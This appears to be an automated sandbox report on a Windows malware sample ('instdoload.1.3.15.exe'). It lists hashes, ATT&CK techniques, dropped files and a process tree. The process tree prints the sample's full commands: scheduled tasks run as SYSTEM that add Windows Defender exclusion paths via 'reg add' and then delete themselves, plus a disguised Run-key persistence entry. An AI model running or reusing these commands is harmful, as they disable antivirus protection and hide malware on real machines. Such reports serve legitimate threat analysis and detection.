218e743d49c1060a7d9e1d250ed4fb4372aefc2a0892fadd70f09c4f68a25d16

Analysis

max time kernel
150s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 18:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
instdoload.1.3.15.exe
Size 38.8MB
Sample261003-w3ydgavbme
SHA256 218e743d49c1060a7d9e1d250ed4fb4372aefc2a0892fadd70f09c4f68a25d16
MD5 f78c0595544539971782153735a54c67
SHA1 fe14e4cba14ed0bd6a8bc6edb3f53d2d90d63058
SHA512 76eff9aa53fcc395eb68226c3fa1cc429d9561e57a8c9a57c3120fc7facea877f563c721f1c917350d58a3e59a2217e518b354f0f524743c28ca4c16f58bf078
SSDEEP 49152:dF335nW2J++1hhWugAx8z/TdqRD4a85Ejr9CbHd5nYeWgRy:b5L3XLgAm9EHUvy
TLSH
T1AF972C02B6468CC6F54852F45897FAA423FDFCB48AD5C31732E4671EAF9E28C0E83595
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\WONTZE = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	4MaAs7.exe

Executes dropped EXE 2 IoCs

pid	Process
3288	4MaAs7.exe
3272	4MaAs7.exe

Loads dropped DLL 2 IoCs

pid	Process
3288	4MaAs7.exe
3272	4MaAs7.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\WONTZE\\4MaAs7.exe\""	4MaAs7.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1156	cmd.exe
468	cmd.exe
3612	cmd.exe
1336	cmd.exe
4856	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	4MaAs7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1684	cmd.exe
4012	cmd.exe
2760	cmd.exe
1796	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	4MaAs7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	4MaAs7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	instdoload.1.3.15.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	instdoload.1.3.15.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3224	schtasks.exe
4348	schtasks.exe
2496	schtasks.exe
5036	schtasks.exe
3820	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
1752	instdoload.1.3.15.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe
3288	4MaAs7.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3288 wrote to memory of 1336	3288	4MaAs7.exe	109
PID 1336 wrote to memory of 3224	1336	cmd.exe	111
PID 1336 wrote to memory of 3584	1336	cmd.exe	113
PID 1336 wrote to memory of 3764	1336	cmd.exe	116
PID 3288 wrote to memory of 4856	3288	4MaAs7.exe	117
PID 4856 wrote to memory of 4348	4856	cmd.exe	119
PID 1796 wrote to memory of 2800	1796	cmd.exe	122
PID 3288 wrote to memory of 1156	3288	4MaAs7.exe	123
PID 4856 wrote to memory of 1036	4856	cmd.exe	125
PID 3288 wrote to memory of 468	3288	4MaAs7.exe	126
PID 1156 wrote to memory of 2496	1156	cmd.exe	129
PID 4856 wrote to memory of 1824	4856	cmd.exe	130
PID 468 wrote to memory of 5036	468	cmd.exe	131
PID 1156 wrote to memory of 944	1156	cmd.exe	132
PID 468 wrote to memory of 1132	468	cmd.exe	134
PID 1156 wrote to memory of 4620	1156	cmd.exe	135
PID 468 wrote to memory of 2528	468	cmd.exe	136
PID 1684 wrote to memory of 2228	1684	cmd.exe	139
PID 4012 wrote to memory of 3616	4012	cmd.exe	140
PID 3288 wrote to memory of 3612	3288	4MaAs7.exe	141
PID 3612 wrote to memory of 3820	3612	cmd.exe	143
PID 3612 wrote to memory of 440	3612	cmd.exe	144
PID 3612 wrote to memory of 4316	3612	cmd.exe	146

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe
"C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1752

C:\Users\Public\WONTZE\4MaAs7.exe
C:\Users\Public\WONTZE\4MaAs7.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WONTZE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WONTZE\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4316

C:\Users\Public\WONTZE\4MaAs7.exe
"C:\Users\Public\WONTZE\4MaAs7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3272

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WONTZE" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WONTZE" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2800

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2956

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2228

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3616

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2760
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 881a0ef4a34862f45e2332fc2f5573a024ab2f8312689a3776ef8b9b3a857941
MD5 fa8ac97da5c6c4948d21bd276da2fb15
SHA1 379fef33588ae4fa06890b285bf28aeff7da1cac
SHA512 cd9eeb29ce7721ed5e697ceb601df78fbd0ebb929cd04368b72cffa4b9e50d95572fa68d536f484197f4bb6c05b357804c99c2035b0ff03bd63c010517352b44
TLSH
T1BE31C6EBCEF23590BF416E023981DA362AB232D04CAD004E12A5E4D51A603D53F5650D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 d706f5891871f72cdca820d887b30a42a12ba28266fb4d7a606dc7c564161c89
MD5 c1fa7392fdc097e7e8328578934813c5
SHA1 7d378c4bb1faee23933f15855220a57c894b0311
SHA512 68f82755ecf60f3883dc74fc6b7191224aab1f50487a8790e52c48354d6c0a40d8577563090ca0919cee8fce1d9cfbf714b5a1c2f880c36f5a95c64e26d0aa62
TLSH
T1B1311A928F795046DF0C4F3953D1CA3BAEF062718CF44C11682EC16B9695B776F83018
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 a66bbd4468af2dd8b06194ca4f81c52e583bf5d7da530c03519151c429fedb42
MD5 c6e642112340ac7d1e3c243d9b41acbc
SHA1 c1200dfa39f385c167533f9a2970577ac75a50df
SHA512 1ba6e3af04cf5959fca366f0117b7cd031c17d3b88bce0d1726324a42bb3a6e738b66549aff967534178cf0b43950f515184ee3dd94e89cd02b5181e21137f55
TLSH
T145F05C084DB8423CF133D93DDBD676A6197EF6452406459C06F5470CB263D026D96576
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 5567c78387f29500379f110db5bed0cc4b8494a885792217238bc974f4937111
MD5 b861f077da52f2b589c68a1250a1c68d
SHA1 4f6b99cd38f18d8bb2cab1dec60d6c961027b536
SHA512 b37065562701f366cb60d6544f073dc22d2531cca32a5a6d7062eaa698bc86054c71c371abab8d37f6ae66b061ba7696f34e626fe44859d4949b347ec9ff4d64
TLSH
T12CF05C3955E9402FF37AE1BC8AC639B3C92AF223000666BE09A603485A61C016C8227D
MD5 SHA1 SHA512 TLSH

Submit Download

4MaAs7.exe

Path C:\Users\Public\WONTZE\4MaAs7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\WONTZE\UxEnhance64.dll
Size 3.1MB
SHA256 31bb737116b9465130ca2314273f92b26519cec58c5013f5b762d45974ecb003
MD5 c491affc7ea02fc134286945cb52ffc7
SHA1 1719100c02e12aa02056bb3dd8267fae895285e9
SHA512 9850bcaebf0a136b98167361cb625c08b78406bb681247c1112a07f3ef8fe8936b8f6774658579208e440b65debc40b7755a3d3934901d2e90ff2be60d40cc33
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+N:P9m29xx3Tiqt06ox6+z2rNNrKoN
TLSH
T181E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\WONTZE\adoresd.dat
Size 4.7MB
SHA256 4d20ee3c9dcbcf2cb09b1306575f5aeb24498828160b8ff5f624399a57748324
MD5 109627fd535f4066de65da278d1d2da0
SHA1 ae45e34199f4b245a742df5b69749f38e1a5263d
SHA512 268e36af5afc14cd56f1edd2fc290f2c610daf92baa8e8a46f5335475869abd0c2f0bfbaf4375ce7d1d0183126c884546bf09f68cf5fa0528e084c7ac6173cd4
SSDEEP 98304:IKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:IKClqhi0Cv54K2IVS0VQg
TLSH
T1093633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\WONTZE\msadox.tb
Size 8KB
SHA256 31ce2f4c46b36501482de6bba38bacdb27356e8c12959b20e1072dc1abdecfe8
MD5 f26d7bf269b91d69bfa4d1772b0f32c6
SHA1 82de4ee91d5cc3a34ad376045aaa559684259ba7
SHA512 245c76aae33450e70ca822e0c6b7b8f83591903c01a68b33de175c321ac8b39db91081de6f3bfc4e21ef8225bfe6b752f37d2dffa62c70c0a1428de06fee619a
SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
TLSH
T1C4029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1752-0-0x00007FFB5AC30000-0x00007FFB5AC52000-memory.dmp

Download

memory/1752-523-0x00007FFB4E030000-0x00007FFB4E040000-memory.dmp

Download

memory/1752-503-0x00007FFB4E030000-0x00007FFB4E040000-memory.dmp

Download

memory/1752-501-0x0000000000520000-0x000000000052E000-memory.dmp

Download

memory/1752-1-0x0000000000540000-0x000000000054C000-memory.dmp

Download

memory/3272-572-0x00007FFB40330000-0x00007FFB4084E000-memory.dmp

Download

memory/3272-575-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3272-585-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3272-583-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3272-586-0x00007FFB5D1D0000-0x00007FFB5D1D2000-memory.dmp

Download

memory/3272-584-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3272-582-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3272-577-0x00007FFB5D1E0000-0x00007FFB5D1E2000-memory.dmp

Download

memory/3272-578-0x0000017480980000-0x0000017481207000-memory.dmp

Download

memory/3288-556-0x0000024876B60000-0x0000024876BEA000-memory.dmp

Download

memory/3288-553-0x0000024876A80000-0x0000024876ACE000-memory.dmp

Download

memory/3288-563-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-557-0x0000024876B60000-0x0000024876BEA000-memory.dmp

Download

memory/3288-541-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-537-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-534-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-529-0x00007FFB40330000-0x00007FFB4084E000-memory.dmp

Download

memory/3288-528-0x00007FFB5D1D0000-0x00007FFB5D1D2000-memory.dmp

Download

memory/3288-562-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-554-0x0000024876B60000-0x0000024876BEA000-memory.dmp

Download

memory/3288-536-0x00007FFB5D1E0000-0x00007FFB5D1E2000-memory.dmp

Download

memory/3288-555-0x0000024876B60000-0x0000024876BEA000-memory.dmp

Download

memory/3288-548-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-543-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-544-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-542-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download

memory/3288-593-0x0000024875EB0000-0x0000024876737000-memory.dmp

Download